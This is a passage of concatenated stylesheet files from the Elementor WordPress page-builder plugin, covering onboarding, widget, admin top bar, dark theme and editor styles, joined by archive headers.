#0C0D0E; } .e-onboarding__card:hover { box-shadow: 4px 4px 0 0 #000000; } .e-onboarding__card:active { box-shadow: initial; } .e-onboarding__checklist { padding-inline-start: 0; } .e-onboarding__checklist-item { display: flex; align-items: center; font-size: 12px; margin-block-end: 12px; } .e-onboarding__checklist-item .eicon-check-circle { margin-inline-end: 9px; font-size: 16px; font-weight: 600; } .e-onboarding__notice { display: inline-block; padding: 12px 14px; margin-block-end: 16px; color: #3A3F45; } .e-onboarding__notice--error { background-color: #FDE8EC; } .e-onboarding__notice--error i { font-size: 16px; color: #B92136; } .e-onboarding__notice--success { background-color: #ECF9F2; } .e-onboarding__notice--success i { color: #117740; } .e-onboarding__notice i { margin-inline-end: 14px; } .e-onboarding__notice-empty-spacer { height: 61px; } .e-onboarding__page-account .e-onboarding__checkbox-label { margin-block-start: 50px; } .e-onboarding__action-button-text { margin-inline-start: 10px; } .e-onboarding__site-name-input { margin-block-start: 80px; } .e-onboarding__page-siteLogo .e-app-upload-file__button { color: var(--e-a-color-primary-bold); border-color: var(--e-a-color-primary-bold); } .e-onboarding__page-siteLogo .e-app-upload-file__button:hover { background-color: #FAE8FF; } .e-onboarding__drop-zone { margin-block-start: 3rem; } .e-onboarding .eps-display-3 { font-size: 16px; margin-block-end: 0.5rem; } .e-onboarding .e-app-upload-file__button { max-width: 198px; margin: 0 auto; } .e-onboarding .e-app-drop-zone__secondary-text { font-size: 14px; } .e-onboarding__logo-container { position: relative; margin-block-start: 3rem; min-height: 120px; width: -moz-fit-content; width: fit-content; display: flex; align-items: center; justify-content: center; min-width: 220px; border: 1px solid #BABFC5; } .e-onboarding__logo-container img { height: auto; max-height: 100%; width: auto; } .e-onboarding__logo-remove { position: absolute; right: 0; top: 5px; } .e-onboarding__logo-remove i { font-size: 16px; width: 15px; } .e-onboarding__logo-remove:hover { cursor: pointer; } .e-onboarding__is-uploading { visibility: hidden; } .e-onboarding__page-goodToGo .e-onboarding__page-content-section-title, .e-onboarding__page-goodToGo .e-onboarding__page-content-section-text { text-align: center; } .e-onboarding__cards-grid.e-onboarding__page-content { margin-block-start: 48px; margin-block-end: 48px; } .e-onboarding__cards-grid .e-onboarding__card { max-width: 555px; } .e-onboarding__cards-grid .e-onboarding__card:not(:last-child) { margin-inline-end: 20px; } .e-onboarding__good-to-go-footer { justify-content: end; } .e-onboarding__upload-pro { flex-direction: row; justify-content: center; font-family: "DM Sans", "Roboto", sans-serif; text-align: center; } .e-onboarding__upload-pro .eps-app__content { overflow-y: hidden; max-width: 1113px; padding: 30px; } .e-onboarding__upload-pro-drop-zone { margin-block-end: 24px; } .e-onboarding__upload-pro-drop-zone h1 { font-family: "Source Serif Pro", "Roboto", sans-serif; } .e-onboarding__upload-pro-drop-zone .e-app-drag-drop { padding: 48px; } .e-onboarding__upload-pro-drop-zone .eps-display-3, .e-onboarding__upload-pro-drop-zone .e-app-drop-zone__text, .e-onboarding__upload-pro-drop-zone .e-app-drop-zone__secondary-text { margin-block-end: 12px; } .e-onboarding__upload-pro-drop-zone .e-app-upload-file__button { background-color: #040080; color: #46F2B6; padding: 14px 40px; border-color: #040080; } .e-onboarding__upload-pro-get-file { font-size: 12px; margin-block-start: 24px; } .e-onboarding__upload-pro-get-file a { text-decoration: underline; } .e-onboarding__upload-pro .e-onboarding__notice { margin-block-end: 0; } .e-onboarding__choose-features-section { width: 100%; display: flex; flex-wrap: wrap; gap: 10px 20px; margin-block: 20px; } .e-onboarding__choose-features-section__label { display: flex; align-items: center; font-size: 14px; font-weight: 400; line-height: 24px; letter-spacing: -0.01em; -webkit-user-select: none; -moz-user-select: none; user-select: none; border: 1px solid #D5D8DC; padding: 12px 16px; width: 267px; } .e-onboarding__choose-features-section__checkbox { justify-self: end; margin-inline-end: 8px; width: 16px; height: 16px; } .e-onboarding__choose-features-section__message { font-size: 18px; font-weight: 400; line-height: 27px; letter-spacing: -0.01em; padding-inline-end: 120px; min-height: 55px; margin-block-end: 20px; } .e-onboarding__page-chooseFeatures .e-onboarding__page-content { margin-bottom: 0; } /*# sourceMappingURL=app.css.map */assets/css/widget-icon-list.min.css000064400000023311147206604650013326 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget.elementor-icon-list--layout-inline .elementor-widget-container{overflow:hidden}.elementor-widget .elementor-icon-list-items.elementor-inline-items{margin-right:-8px;margin-left:-8px}.elementor-widget .elementor-icon-list-items.elementor-inline-items .elementor-icon-list-item{margin-right:8px;margin-left:8px}.elementor-widget .elementor-icon-list-items.elementor-inline-items .elementor-icon-list-item:after{width:auto;left:auto;right:auto;position:relative;height:100%;border-top:0;border-bottom:0;border-right:0;border-left-width:1px;border-style:solid;right:-8px}.elementor-widget .elementor-icon-list-items{list-style-type:none;margin:0;padding:0}.elementor-widget .elementor-icon-list-item{margin:0;padding:0;position:relative}.elementor-widget .elementor-icon-list-item:after{position:absolute;bottom:0;width:100%}.elementor-widget .elementor-icon-list-item,.elementor-widget .elementor-icon-list-item a{display:flex;font-size:inherit;align-items:var(--icon-vertical-align,center)}.elementor-widget .elementor-icon-list-icon+.elementor-icon-list-text{align-self:center;padding-inline-start:5px}.elementor-widget .elementor-icon-list-icon{display:flex;position:relative;top:var(--icon-vertical-offset,initial)}.elementor-widget .elementor-icon-list-icon svg{width:var(--e-icon-list-icon-size,1em);height:var(--e-icon-list-icon-size,1em)}.elementor-widget .elementor-icon-list-icon i{width:1.25em;font-size:var(--e-icon-list-icon-size)}.elementor-widget.elementor-widget-icon-list .elementor-icon-list-icon{text-align:var(--e-icon-list-icon-align)}.elementor-widget.elementor-widget-icon-list .elementor-icon-list-icon svg{margin:var(--e-icon-list-icon-margin,0 calc(var(--e-icon-list-icon-size, 1em) * .25) 0 0)}.elementor-widget.elementor-list-item-link-full_width a{width:100%}.elementor-widget.elementor-align-center .elementor-icon-list-item,.elementor-widget.elementor-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-align-left .elementor-icon-list-item,.elementor-widget.elementor-align-left .elementor-icon-list-item a{justify-content:flex-start;text-align:left}.elementor-widget.elementor-align-left .elementor-inline-items{justify-content:flex-start}.elementor-widget.elementor-align-right .elementor-icon-list-item,.elementor-widget.elementor-align-right .elementor-icon-list-item a{justify-content:flex-end;text-align:right}.elementor-widget.elementor-align-right .elementor-icon-list-items{justify-content:flex-end}.elementor-widget:not(.elementor-align-right) .elementor-icon-list-item:after{left:0}.elementor-widget:not(.elementor-align-left) .elementor-icon-list-item:after{right:0}@media (min-width:-1){.elementor-widget.elementor-widescreen-align-center .elementor-icon-list-item,.elementor-widget.elementor-widescreen-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-widescreen-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-widescreen-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-widescreen-align-left .elementor-icon-list-item,.elementor-widget.elementor-widescreen-align-left .elementor-icon-list-item a{justify-content:flex-start;text-align:left}.elementor-widget.elementor-widescreen-align-left .elementor-inline-items{justify-content:flex-start}.elementor-widget.elementor-widescreen-align-right .elementor-icon-list-item,.elementor-widget.elementor-widescreen-align-right .elementor-icon-list-item a{justify-content:flex-end;text-align:right}.elementor-widget.elementor-widescreen-align-right .elementor-icon-list-items{justify-content:flex-end}.elementor-widget:not(.elementor-widescreen-align-right) .elementor-icon-list-item:after{left:0}.elementor-widget:not(.elementor-widescreen-align-left) .elementor-icon-list-item:after{right:0}}@media (max-width:-1){.elementor-widget.elementor-laptop-align-center .elementor-icon-list-item,.elementor-widget.elementor-laptop-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-laptop-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-laptop-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-laptop-align-left .elementor-icon-list-item,.elementor-widget.elementor-laptop-align-left .elementor-icon-list-item a{justify-content:flex-start;text-align:left}.elementor-widget.elementor-laptop-align-left .elementor-inline-items{justify-content:flex-start}.elementor-widget.elementor-laptop-align-right .elementor-icon-list-item,.elementor-widget.elementor-laptop-align-right .elementor-icon-list-item a{justify-content:flex-end;text-align:right}.elementor-widget.elementor-laptop-align-right .elementor-icon-list-items{justify-content:flex-end}.elementor-widget:not(.elementor-laptop-align-right) .elementor-icon-list-item:after{left:0}.elementor-widget:not(.elementor-laptop-align-left) .elementor-icon-list-item:after{right:0}}@media (max-width:-1){.elementor-widget.elementor-tablet_extra-align-center .elementor-icon-list-item,.elementor-widget.elementor-tablet_extra-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-tablet_extra-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-tablet_extra-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-tablet_extra-align-left .elementor-icon-list-item,.elementor-widget.elementor-tablet_extra-align-left .elementor-icon-list-item a{justify-content:flex-start;text-align:left}.elementor-widget.elementor-tablet_extra-align-left .elementor-inline-items{justify-content:flex-start}.elementor-widget.elementor-tablet_extra-align-right .elementor-icon-list-item,.elementor-widget.elementor-tablet_extra-align-right .elementor-icon-list-item a{justify-content:flex-end;text-align:right}.elementor-widget.elementor-tablet_extra-align-right .elementor-icon-list-items{justify-content:flex-end}.elementor-widget:not(.elementor-tablet_extra-align-right) .elementor-icon-list-item:after{left:0}.elementor-widget:not(.elementor-tablet_extra-align-left) .elementor-icon-list-item:after{right:0}}@media (max-width:1024px){.elementor-widget.elementor-tablet-align-center .elementor-icon-list-item,.elementor-widget.elementor-tablet-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-tablet-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-tablet-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-tablet-align-left .elementor-icon-list-item,.elementor-widget.elementor-tablet-align-left .elementor-icon-list-item a{justify-content:flex-start;text-align:left}.elementor-widget.elementor-tablet-align-left .elementor-inline-items{justify-content:flex-start}.elementor-widget.elementor-tablet-align-right .elementor-icon-list-item,.elementor-widget.elementor-tablet-align-right .elementor-icon-list-item a{justify-content:flex-end;text-align:right}.elementor-widget.elementor-tablet-align-right .elementor-icon-list-items{justify-content:flex-end}.elementor-widget:not(.elementor-tablet-align-right) .elementor-icon-list-item:after{left:0}.elementor-widget:not(.elementor-tablet-align-left) .elementor-icon-list-item:after{right:0}}@media (max-width:-1){.elementor-widget.elementor-mobile_extra-align-center .elementor-icon-list-item,.elementor-widget.elementor-mobile_extra-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-mobile_extra-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-mobile_extra-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-mobile_extra-align-left .elementor-icon-list-item,.elementor-widget.elementor-mobile_extra-align-left .elementor-icon-list-item a{justify-content:flex-start;text-align:left}.elementor-widget.elementor-mobile_extra-align-left .elementor-inline-items{justify-content:flex-start}.elementor-widget.elementor-mobile_extra-align-right .elementor-icon-list-item,.elementor-widget.elementor-mobile_extra-align-right .elementor-icon-list-item a{justify-content:flex-end;text-align:right}.elementor-widget.elementor-mobile_extra-align-right .elementor-icon-list-items{justify-content:flex-end}.elementor-widget:not(.elementor-mobile_extra-align-right) .elementor-icon-list-item:after{left:0}.elementor-widget:not(.elementor-mobile_extra-align-left) .elementor-icon-list-item:after{right:0}}@media (max-width:767px){.elementor-widget.elementor-mobile-align-center .elementor-icon-list-item,.elementor-widget.elementor-mobile-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-mobile-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-mobile-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-mobile-align-left .elementor-icon-list-item,.elementor-widget.elementor-mobile-align-left .elementor-icon-list-item a{justify-content:flex-start;text-align:left}.elementor-widget.elementor-mobile-align-left .elementor-inline-items{justify-content:flex-start}.elementor-widget.elementor-mobile-align-right .elementor-icon-list-item,.elementor-widget.elementor-mobile-align-right .elementor-icon-list-item a{justify-content:flex-end;text-align:right}.elementor-widget.elementor-mobile-align-right .elementor-icon-list-items{justify-content:flex-end}.elementor-widget:not(.elementor-mobile-align-right) .elementor-icon-list-item:after{left:0}.elementor-widget:not(.elementor-mobile-align-left) .elementor-icon-list-item:after{right:0}}assets/css/admin-top-bar-rtl.min.css000064400000007610147206604650013401 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ #e-dashboard-widget-admin-top-bar{position:absolute;opacity:0;pointer-events:none}#e-admin-top-bar-root{left:0;font-family:var(--e-a-font-family);background:var(--e-a-bg-default);box-shadow:0 4px 6px rgba(0,0,0,.03);display:none;position:absolute;top:0;width:calc(100% - 160px);z-index:1}body.folded #e-admin-top-bar-root{width:calc(100% - 36px)}#e-admin-top-bar-root .e-admin-top-bar{display:flex;height:50px;justify-content:space-between;padding:0 16px}#e-admin-top-bar-root .page-title-action{font-size:12px;font-weight:500;line-height:1.2;text-transform:uppercase;text-decoration:none;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}#e-admin-top-bar-root .page-title-action:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}#e-admin-top-bar-root .e-admin-top-bar__heading{margin-inline-end:40px}#e-admin-top-bar-root .e-admin-top-bar__heading,#e-admin-top-bar-root .e-admin-top-bar__main-area{display:inline-flex;align-items:center;justify-content:center}#e-admin-top-bar-root .e-admin-top-bar__main-area button{margin:0 4px}#e-admin-top-bar-root .e-admin-top-bar__secondary-area{display:inline-flex;align-items:center;justify-content:center}#e-admin-top-bar-root .e-admin-top-bar__heading-title{color:var(--e-a-color-txt);font-size:15px;font-weight:700;padding:0 8px;line-height:normal}#e-admin-top-bar-root .e-admin-top-bar__main-area-buttons{display:inline-flex;gap:5px}#e-admin-top-bar-root.e-admin-top-bar--active{display:block}#e-admin-top-bar-root.e-admin-top-bar--active~#wpbody #wpbody-content{margin-block-start:50px}#e-admin-top-bar-root.e-admin-top-bar--active~#wpbody .wrap{clear:both;padding-block-start:10px}#e-admin-top-bar-root.e-admin-top-bar--active~#wpbody .wrap h1{display:none}#e-admin-top-bar-root:not(.e-admin-top-bar--active)~#wpbody .wrap .page-title-action,#e-admin-top-bar-root:not(.e-admin-top-bar--active)~#wpbody .wrap h1{display:inline-block}#e-admin-top-bar-root .e-admin-top-bar__bar-button{align-items:center;cursor:pointer;display:inline-flex;justify-content:center;margin:0 10px;text-decoration:none;color:var(--e-a-color-txt)}#e-admin-top-bar-root .e-admin-top-bar__bar-button.accent,#e-admin-top-bar-root .e-admin-top-bar__bar-button.accent:hover .e-admin-top-bar__bar-button-icon,#e-admin-top-bar-root .e-admin-top-bar__bar-button.accent:hover .e-admin-top-bar__bar-button-title{color:var(--e-a-color-accent)}#e-admin-top-bar-root .e-admin-top-bar__bar-button .crown-icon{font-size:14px}#e-admin-top-bar-root .e-admin-top-bar__bar-button .e-admin-top-bar__bar-button-icon{margin:0 4px}#e-admin-top-bar-root .e-admin-top-bar__bar-button:hover .e-admin-top-bar__bar-button-icon,#e-admin-top-bar-root .e-admin-top-bar__bar-button:hover .e-admin-top-bar__bar-button-title{color:var(--e-a-color-txt-hover)}#e-admin-top-bar-root .e-admin-top-bar__bar-button-title{font-size:13px;font-weight:500;margin:0 4px;line-height:normal}#e-admin-top-bar-root~#wpbody .wrap .page-title-action,#e-admin-top-bar-root~#wpbody .wrap h1{display:none}@media screen and (max-width:960px){#e-admin-top-bar-root{width:calc(100% - 36px)}}@media screen and (max-width:782px){#e-admin-top-bar-root{width:100%}}@media screen and (max-width:600px){#e-admin-top-bar-root{top:46px}}@media (max-width:768px){#e-admin-top-bar-root{display:inline-flex;align-items:center;justify-content:center}#e-admin-top-bar-root .e-admin-top-bar__main-area-buttons{position:absolute;top:calc(100% + 10px)}#e-admin-top-bar-root .e-admin-top-bar__secondary-area .e-admin-top-bar__secondary-area-buttons,#e-admin-top-bar-root .e-admin-top-bar__secondary-area>.e-admin-top-bar__bar-button .e-admin-top-bar__bar-button-title{display:none}}@media (min-width:768px){#e-admin-top-bar-root .e-admin-top-bar__secondary-area .e-admin-top-bar__secondary-area-buttons{display:flex}}assets/css/theme-dark.min.css000064400000004340147206604650012166 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root{color-scheme:dark;--e-a-color-white:#fff;--e-a-color-black:#000;--e-a-color-logo:#000;--e-a-color-primary:#524cff;--e-a-color-primary-bold:#f0abfc;--e-a-color-secondary:#515962;--e-a-color-success:#0a875a;--e-a-color-danger:#dc2626;--e-a-color-info:#2563eb;--e-a-color-warning:#f59e0b;--e-a-color-accent:#93003f;--e-a-color-accent-promotion:#d6107c;--e-a-color-global:#1dddbf;--e-a-bg-default:#1f2124;--e-a-bg-invert:#fff;--e-a-bg-hover:#2b2c31;--e-a-bg-active:#333438;--e-a-bg-active-bold:#3f444b;--e-a-bg-loading:#f9fafa;--e-a-bg-logo:#fff;--e-a-bg-primary:#310132;--e-a-bg-secondary:#515962;--e-a-bg-success:#032317;--e-a-bg-info:#0a1a3d;--e-a-bg-danger:#390a0a;--e-a-bg-warning:#311808;--e-a-color-txt:#d5d8dc;--e-a-color-txt-muted:#9da5ae;--e-a-color-txt-disabled:#69727d;--e-a-color-txt-invert:#fff;--e-a-color-txt-accent:#fff;--e-a-color-txt-hover:#9da5ae;--e-a-color-txt-active:#fff;--e-a-border-color:#333438;--e-a-border-color-bold:#3f444b;--e-a-border-color-focus:#515962;--e-a-border-color-accent:#fff;--e-a-border:1px solid var(--e-a-border-color);--e-a-border-bold:1px solid var(--e-a-border-color-bold);--e-a-border-radius:3px;--e-a-btn-color:#0c0d0e;--e-a-btn-color-invert:var(--e-a-color-txt-invert);--e-a-btn-color-disabled:var(--e-a-color-txt-disabled);--e-a-btn-bg:#515962;--e-a-btn-bg-hover:#3a4046;--e-a-btn-bg-active:#23262a;--e-a-btn-bg-disabled:#d5d8dc;--e-a-btn-bg-primary:#f3bafd;--e-a-btn-bg-primary-hover:#eb8efb;--e-a-btn-bg-primary-active:#f0abfc;--e-a-btn-bg-accent:#93003f;--e-a-btn-bg-accent-hover:#8f1a4c;--e-a-btn-bg-accent-active:#a93365;--e-a-btn-bg-info:#2563eb;--e-a-btn-bg-info-hover:#134cca;--e-a-btn-bg-info-active:#0e3b9c;--e-a-btn-bg-success:#0a875a;--e-a-btn-bg-success-hover:#06583a;--e-a-btn-bg-success-active:#03281b;--e-a-btn-bg-warning:#f59e0b;--e-a-btn-bg-warning-hover:#c57f08;--e-a-btn-bg-warning-active:#945f06;--e-a-btn-bg-danger:#dc2626;--e-a-btn-bg-danger-hover:#b21d1d;--e-a-btn-bg-danger-active:#861616;--e-a-dark-bg:#0c0d0e;--e-a-dark-color-txt:#9da5ae;--e-a-dark-color-txt-hover:#d5d8dc;--e-a-font-family:Roboto,Arial,Helvetica,sans-serif;--e-a-transition-hover:all .3s;--e-a-popover-shadow:0 2px 15px rgba(0,0,0,0.9);--e-a-dropdown-shadow:0 0 3px rgba(0,0,0,0.9)}assets/css/widget-heading-rtl.min.css000064400000001130147206604650013616 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-heading .elementor-heading-title[class*=elementor-size-]>a{color:inherit;font-size:inherit;line-height:inherit}.elementor-widget-heading .elementor-heading-title.elementor-size-small{font-size:15px}.elementor-widget-heading .elementor-heading-title.elementor-size-medium{font-size:19px}.elementor-widget-heading .elementor-heading-title.elementor-size-large{font-size:29px}.elementor-widget-heading .elementor-heading-title.elementor-size-xl{font-size:39px}.elementor-widget-heading .elementor-heading-title.elementor-size-xxl{font-size:59px}assets/css/widget-image-box-rtl.min.css000064400000002601147206604650014073 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-image-box .elementor-image-box-content{width:100%}@media (min-width:768px){.elementor-widget-image-box.elementor-position-left .elementor-image-box-wrapper,.elementor-widget-image-box.elementor-position-right .elementor-image-box-wrapper{display:flex}.elementor-widget-image-box.elementor-position-right .elementor-image-box-wrapper{text-align:end;flex-direction:row}.elementor-widget-image-box.elementor-position-left .elementor-image-box-wrapper{text-align:start;flex-direction:row-reverse}.elementor-widget-image-box.elementor-position-top .elementor-image-box-img{margin:auto}.elementor-widget-image-box.elementor-vertical-align-top .elementor-image-box-wrapper{align-items:flex-start}.elementor-widget-image-box.elementor-vertical-align-middle .elementor-image-box-wrapper{align-items:center}.elementor-widget-image-box.elementor-vertical-align-bottom .elementor-image-box-wrapper{align-items:flex-end}}@media (max-width:767px){.elementor-widget-image-box .elementor-image-box-img{margin-left:auto!important;margin-right:auto!important;margin-bottom:15px}}.elementor-widget-image-box .elementor-image-box-img{display:inline-block}.elementor-widget-image-box .elementor-image-box-title a{color:inherit}.elementor-widget-image-box .elementor-image-box-wrapper{text-align:center}.elementor-widget-image-box .elementor-image-box-description{margin:0}assets/css/widget-heading.min.css000064400000001130147206604650013017 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-heading .elementor-heading-title[class*=elementor-size-]>a{color:inherit;font-size:inherit;line-height:inherit}.elementor-widget-heading .elementor-heading-title.elementor-size-small{font-size:15px}.elementor-widget-heading .elementor-heading-title.elementor-size-medium{font-size:19px}.elementor-widget-heading .elementor-heading-title.elementor-size-large{font-size:29px}.elementor-widget-heading .elementor-heading-title.elementor-size-xl{font-size:39px}.elementor-widget-heading .elementor-heading-title.elementor-size-xxl{font-size:59px}assets/css/editor-rtl.css000064400000617477147206604650011475 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-control-unit-1 { width: 27px; } .elementor-control-unit-2 { width: 54px; } .elementor-control-unit-3 { width: 81px; } .elementor-control-unit-4 { width: 108px; } .elementor-control-unit-5 { max-width: 400px; width: 52%; } *, :before, :after { margin: 0; padding: 0; box-sizing: border-box; } body, html { height: 100%; } html { background-color: var(--e-a-bg-loading); } iframe, img { border: 0 none; } li { list-style: none; } a { text-decoration: none; } body { background-color: var(--e-a-bg-default); color: var(--e-a-color-txt); font-family: var(--e-a-font-family); font-size: 13px; font-weight: normal; line-height: 1; text-decoration: none; text-transform: none; overflow: hidden; } body:after { content: ""; position: absolute; top: 0; left: 0; height: 100%; width: 0; background-color: var(--e-a-bg-default); transition: width 0.5s; } body a { color: var(--e-a-color-info); } body a:hover { color: var(--e-a-color-primary-bold); } body.elementor-editor-active #elementor-mode-switcher-preview .eicon:before { content: "\e89e"; } body.elementor-editor-preview { --e-preview-width: 100%; } body.elementor-editor-preview #elementor-mode-switcher-preview .eicon:before { content: "\e89f"; } body.elementor-navigator--dock-hint:after { width: 30px; } #elementor-editor-wrapper { display: flex; width: 100%; height: 100vh; } #elementor-panel:not(.ui-resizable-resizing), #elementor-preview:not(.ui-resizable-resizing) { transition: margin 0.5s ease-in-out, width 0.5s ease-in-out; } #elementor-loading { position: fixed; top: 0; left: 0; bottom: 0; right: 0; background: var(--e-a-bg-default); z-index: 9999; } #elementor-preview-loading { display: flex; align-items: center; justify-content: center; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: var(--e-a-bg-default); } #elementor-preview-loading i { color: var(--e-a-color-txt-disabled); font-size: 50px; } .elementor-nerd-box { padding: 30px; text-align: center; } .elementor-nerd-box-icon { width: 100px; } .elementor-nerd-box-title { margin-block-start: 20px; font-size: 16px; font-weight: bold; line-height: 1.4; } .elementor-nerd-box-message { margin-block-start: 5px; line-height: 1.8; font-size: 11px; } .elementor-nerd-box .elementor-button { margin-block-start: 20px; } .elementor-nerd-box--upsale { padding: 15px 30px 30px; } .elementor-nerd-box--upsale .elementor-nerd-box-title { font-weight: 500; line-height: 1.2; } .elementor-nerd-box--upsale .elementor-nerd-box-message { line-height: 1.5; } .eicon-nerd:hover:before { content: "\e8b7"; } .eicon-nerd:active:before { content: "\e8b6"; } .e-group-control-header { display: flex; justify-content: space-between; align-items: center; font-weight: bold; font-size: 12px; padding: 10px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); margin-block-end: 15px; } .e-control-tools { display: flex; } .e-control-tool { width: 20px; height: 20px; display: inline-flex; border-radius: 3px; margin: 0 3px 0; border: 0; position: relative; background-color: var(--e-a-bg-default); } .e-control-tool:not(.e-control-tool-disabled) { box-shadow: 0 1px 5px rgba(0, 0, 0, 0.1); cursor: pointer; } .e-control-tool-disabled { background: var(--e-a-bg-default); pointer-events: none; } .e-control-tool-disabled i { color: var(--e-a-color-txt-disabled); } .e-control-tool i { position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); color: var(--e-a-color-txt-default); font-size: 13px; } i.eicon-tilted { transform: rotate(90deg); } .elementor-loader-wrapper { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 300px; display: flex; flex-direction: column; align-items: center; gap: 30px; } .elementor-loader { border-radius: 50%; padding: 40px; height: 150px; width: 150px; background-color: var(--e-a-bg-active); box-sizing: border-box; box-shadow: 2px 2px 20px 4px rgba(0, 0, 0, 0.02); } .elementor-loader-boxes { height: 100%; width: 100%; position: relative; } .elementor-loader-box { position: absolute; background-color: var(--e-a-color-txt-hover); animation: load 1.8s linear infinite; } .elementor-loader-box:nth-of-type(1) { width: 20%; height: 100%; left: 0; top: 0; } .elementor-loader-box:not(:nth-of-type(1)) { right: 0; height: 20%; width: 60%; } .elementor-loader-box:nth-of-type(2) { top: 0; animation-delay: calc(1.8s / 4 * -1); } .elementor-loader-box:nth-of-type(3) { top: 40%; animation-delay: calc(1.8s / 4 * -2); } .elementor-loader-box:nth-of-type(4) { bottom: 0; animation-delay: calc(1.8s / 4 * -3); } .elementor-loading-title { color: var(--e-a-color-txt); text-align: center; text-transform: uppercase; letter-spacing: 7px; text-indent: 7px; font-size: 10px; width: 100%; } input, select, textarea, .e-input-style { color: var(--e-a-color-txt); border-radius: var(--e-a-border-radius); font-size: 12px; width: 100%; background: none; background-color: var(--e-a-bg-default); box-shadow: none; border: var(--e-a-border-bold); outline: none; } input:focus, input:focus + .elementor-control-dynamic-switcher, select:focus, select:focus + .elementor-control-dynamic-switcher, textarea:focus, textarea:focus + .elementor-control-dynamic-switcher, .e-input-style:focus, .e-input-style:focus + .elementor-control-dynamic-switcher { border-color: var(--e-a-border-color-focus); } .elementor-error input, .elementor-error select, .elementor-error textarea { border-color: var(--e-a-color-danger); } input { min-width: 0; } input, textarea, .e-input-style { padding: 5px; } textarea, .e-input-style { resize: vertical; } input[type=checkbox], input[type=radio] { height: auto; width: auto; } input[type=checkbox] { margin: 0; padding: 0; -webkit-appearance: none; -moz-appearance: none; appearance: none; outline: none; content: none; height: 15px; border-radius: var(--e-a-border-radius); margin-inline-end: 5px; width: 15px; border: var(--e-a-border-bold); display: inline-flex; align-items: center; justify-content: center; } input[type=checkbox]:checked { background: var(--e-a-color-primary-bold); border: none; } input[type=checkbox]:checked:before { display: block; content: ""; width: 4px; height: 7px; border: solid white; border-width: 0 2px 2px 0; transform: rotate(45deg); } input[disabled] { background-color: var(--e-a-bg-hover); cursor: not-allowed; opacity: 1; } select { outline: none; height: 27px; } .dialog-widget-content { background-color: var(--e-a-bg-default); position: absolute; border-radius: 3px; box-shadow: 2px 8px 23px 3px rgba(0, 0, 0, 0.2); overflow: hidden; } .dialog-message { line-height: 1.5; box-sizing: border-box; } .dialog-close-button { cursor: pointer; position: absolute; margin-block-start: 15px; inset-inline-end: 15px; color: var(--e-a-color-txt); font-size: 15px; line-height: 1; transition: var(--e-a-transition-hover); } .dialog-close-button:hover { color: var(--e-a-color-txt-hover); } .dialog-prevent-scroll { overflow: hidden; max-height: 100vh; } .dialog-type-lightbox { position: fixed; height: 100%; width: 100%; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 9999; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .elementor-editor-active .elementor-popup-modal { background-color: initial; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } 